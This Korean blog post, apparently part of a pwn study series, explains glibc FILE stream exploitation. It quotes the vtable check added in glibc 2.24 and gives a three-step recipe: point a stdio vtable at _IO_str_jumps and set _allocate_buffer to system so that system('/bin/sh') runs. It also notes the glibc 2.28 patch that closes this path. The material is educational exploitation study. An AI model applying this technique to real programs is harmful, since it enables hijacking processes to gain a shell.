// glibc 2.24 >= version #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
보면 3 번째 메크로에 IO_validate_vtable
이 생겨서 vtable
위치가 유효한지에 대한 검사 과정이 생겼다.
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
void attribute_hidden _IO_vtable_check (void) { if (flag == &_IO_vtable_check) return; { Dl_info di; struct link_map *l; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); }
vtable 이 __libc_IO_vtables
섹션내에 존재하지 않으면 Fatal Error 와 함께 프로그램을 종료함.
이를 우회하려면
- 조작해야 하는 값이 많다.
_IO_FILE
구조체에 있는 값들은 사용되지도 않기 때문에 익스 과정이 복잡하고 귀찮아진다.- 검증에서 사용되는 변수들이 모든 File Stream 구조체에 공통적으로 적용되는 전역변수 값이기 때문에 익스 중간에 stdin 또는 stdout을 이용한 입출력 과정이 존재한다면 익스 준비가 끝나기도 전에 죽어버릴 가능성이 높다.
등의 문제가 있다.
그래서 검사 함수를 우회하려 하지말고, 올바른 함수 내에서 공격 가능성을 찾아보자는 방법을 찾았고__libc_IO_vtables
섹션 내에 있는 _IO_str_overflow
와 같은 몇몇 함수들이 __libc_IO_vtables
섹션 외부의 함수들을 함수 포인터를 통해 호출한다는 것을 발견 했다
// glibc 2.27 ≤ version int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; ... pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); ...
_IO_str_overflow
함수의 내부이다.
new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
fp->_s._allocate_buffer
에 위치한 값을 함수 포인터로 사용하여 외부 함수를 호출한다.
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) ... size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; ... new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
_IO_blen_
매크로 함수를 통해 설정되는 new_size
값이 인자로 들어감
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
struct _IO_FILE { ... char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ ... };
_IO_blen
함수는 fp->_IO_buf_end
와 fp->_IO_buf_base
값에 영향을 받는다.
즉, fp->_IO_buf_end
와 fp->_IO_buf_base
값을 조작 후 _IO_str_overflow
를 호출 할 수 있다면
임의의 함수의 첫번째 인자에 원하는 값을 넣어 호출할 수 있다.
정리하면 다음과 같다.
1._IO_2_1_std???_->_vtable
값을 _IO_str_jumps
vtable로 조작
2._IO_blen
매크로를 통해 초기화 되는 new_size
의 값을 “/bin/sh”
문자열의 주소로 변경
3._IO_2_1_std???_->_s._allocate_buffer
의 값을 system
함수의 주소로 변경
이러면 system(“/bin/sh”) 가 실행된다
glibc 2.28 이상에서의 fsop
// glibc 2.27 ≤ version int _IO_str_overflow (_IO_FILE *fp, int c) { ... new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); ...
요랬던게
// glibc 2.28 ≥ version int _IO_str_overflow (FILE *fp, int c) { ... new_buf = malloc (new_size); ...
요렇게 되어버렸다
더이상 위의 공격이 불가능해졌다.
하지만 사람들은 방법을 찾아 냈는데
_IO_FILE
구조체에 존재하는 _IO_wide_data->_wide_vtable
을 통해 호출되는 함수들을 이용하는 방법이다.
이걸 이용한 기법을 house of apple 2 라고 하는데
너무 많이 가는 거 같아서 더 작성하지는 않겠다.
(물론 oz1ng 님의 발표에는 있었다.)
이 글은 옵시디언을 이용해서 작성되었습니다.
'TOOR' 카테고리의 다른 글
[TOOR] 24.1. UAF (0) | 2023.11.17 |
---|---|
[TOOR] 23. Heap chunk 구조 (2) | 2023.10.17 |
[TOOR] 13.2 pwnable.xyz badayum write up (1) | 2023.10.16 |
[TOOR] 18.1 Type Confusion (0) | 2023.10.12 |
[TOOR] 18.2 dream_restaurant write up(미완) (0) | 2023.10.12 |